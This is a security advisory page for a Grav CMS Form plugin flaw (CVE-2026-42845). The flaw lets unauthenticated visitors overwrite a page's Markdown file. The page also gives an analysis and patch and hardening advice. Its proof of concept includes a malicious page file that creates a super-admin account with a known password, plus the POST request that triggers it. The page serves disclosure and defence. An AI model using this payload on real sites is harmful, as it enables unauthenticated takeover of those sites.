Grav Form Plugin CVE-2026-42845
HIGHSeverity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Unauthenticated network overwrite against the default self@ destination gives AV:N/AC:L/PR:N; direct impact is page-content integrity (I:H) with no inherent confidentiality or availability loss.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
5DescriptionGitHub Advisory
Summary
(Tested on Form 9.0.3 released on April, 28th)
The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.
A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:
- Upload arbitrary content with
filename=form.md(or other page-content filenames), - Submit the form to trigger
Form::copyFiles(), which overwrites the page's own.mdfile.
Details
Vulnerable code path
user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):
$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));
$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name']; // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) { // ← extension blocklist only
return ['status' => 'error', 'message' => 'Bad filename'];
}Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.
The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.
After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):
$destination = $upload->getDestination(); // ← determined at upload time:
// $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);moveTo() does not check whether $destination is an existing protected file - if form.md (the page's own content) already exists at the destination, it is overwritten.
A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.
PoC
Setup :
Any existing page with a form like this - a "generic upload" form is the realistic case:
---
title: Upload your file
form:
name: upform
fields:
- {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
- {name: notes, type: text}
buttons:
- {type: submit, value: Upload}
process:
- upload: true
- display: thanks
---- Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path
/upload.
---
title: Pwned
form:
name: pwn
fields:
- {name: dummy, type: text}
buttons:
- {type: submit, value: Submit}
process:
- save:
folder: '../accounts'
filename: 'viaup.yaml'
extension: yaml
operation: create
body: |
state: enabled
email: viaup@example.com
fullname: Via Upload
title: Admin
access:
admin: { login: true, super: true }
site: { login: true }
hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
- display: thanks
---(Hash above is bcrypt for PwnPass123!.)
- Attacker accesses the new markdown file under the original path and loads the new markdown file
GET /upload. - Attacker sends a form POST request to
/uploadand change the form_name to whatever the payload form name is.
Keep in mind the nonce has to be valid.
POST /upload HTTP/1.1
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[_json][img]"
[]
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[notes]"
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__form-name__"
pwn
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__unique_form_id__"
8r7q1iwdnnmcgkohlbtj
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="form-nonce"
4e9417f0c7e89d1ab4e0dbe136ec78bd
------geckoformboundary44d7ad8deb57480098493877a35ad715--- Login as a newly created super admin user.
Impact
Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default self@ configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin.
Remediation
Block sensitive page-content filenames at upload
In user/plugins/form/classes/Form.php, after Utils::checkFilename() succeeds, add a content-area-aware check:
// Block files that would overwrite Grav page content if uploaded into
// a page directory. Page templates are .md (Markdown) and .yaml/.yml
// (frontmatter overrides). Block both for safety.
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];
if (in_array($ext, $pageContentExtensions, true)) {
return [
'status' => 'error',
'message' => 'File type not allowed for upload (page content files are blocked)',
];
}Add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list - these all carry executable semantics in Grav's runtime even though they are not "PHP".
AnalysisAI
Arbitrary page-content overwrite in the Grav CMS Form plugin (versions < 9.1.0) lets an unauthenticated visitor replace a page's own Markdown file by abusing a POST-controlled filename override in the file-upload handler. Because Utils::checkFilename() blocks only PHP/HTML/JS/EXE extensions and not '.md', an attacker submitting filename=form.md against any page whose form uses a permissive accept policy (e.g. accept:['*']) with the default destination self@ can overwrite the live page definition and pivot to a self-created super-admin account. Publicly available exploit code exists (a full PoC is published in the GHSA advisory), though EPSS is very low (0.04%) and it is not listed in CISA KEV.
Technical ContextAI
Grav is a PHP-based flat-file CMS in which each page is a directory under user/pages/ containing a Markdown (.md) file whose YAML frontmatter defines the page - including form definitions and process actions such as 'save'. The affected component is the Form plugin (pkg:composer/getgrav_grav-plugin-form). In uploadFiles() the destination filename is taken from $post['filename'] ?? $upload['file']['name'], making it fully attacker-controlled, and validation relies solely on Utils::checkFilename(), an extension blocklist (uploads_dangerous_extensions: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe) that omits page-content types like md/yaml/yml/json/twig/ini. This is a classic CWE-20 Improper Input Validation issue: the control validates only a narrow denylist while the real trust boundary (files that alter runtime/page behavior) is much wider. The upload destination is computed at upload time as page_dir + '/' + filename, and copyFiles() → moveTo() performs no check that the target is a pre-existing protected file, so the page's own .md is silently overwritten.
RemediationAI
Vendor-released patch: 9.1.0 - upgrade the Grav Form plugin to 9.1.0 or later, which strips path components from the POST-supplied filename via Utils::basename() and hard-blocks page-content extensions (md, yaml, yml, json, twig, ini) regardless of the configurable dangerous-extensions list (see GHSA-w4rc-p66m-x6qq and commit 48bacc4). If you cannot upgrade immediately, tighten permissive upload forms: change any file field's accept policy away from ['*'] to an explicit safe allowlist (e.g. image/* or specific document MIME types), which stops Markdown/YAML filenames passing the MIME check; alternatively change the field's destination away from self@ to a dedicated non-page directory so uploads cannot land next to a page's .md, at the cost of relocating where legitimate uploads are stored. As hardening, add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list, and restrict write access to user/accounts. After patching, audit user/accounts for unexpected super-admin entries and inspect page .md files for tampering.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-20 – Improper Input Validation
View allSame technique File Upload
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-w4rc-p66m-x6qq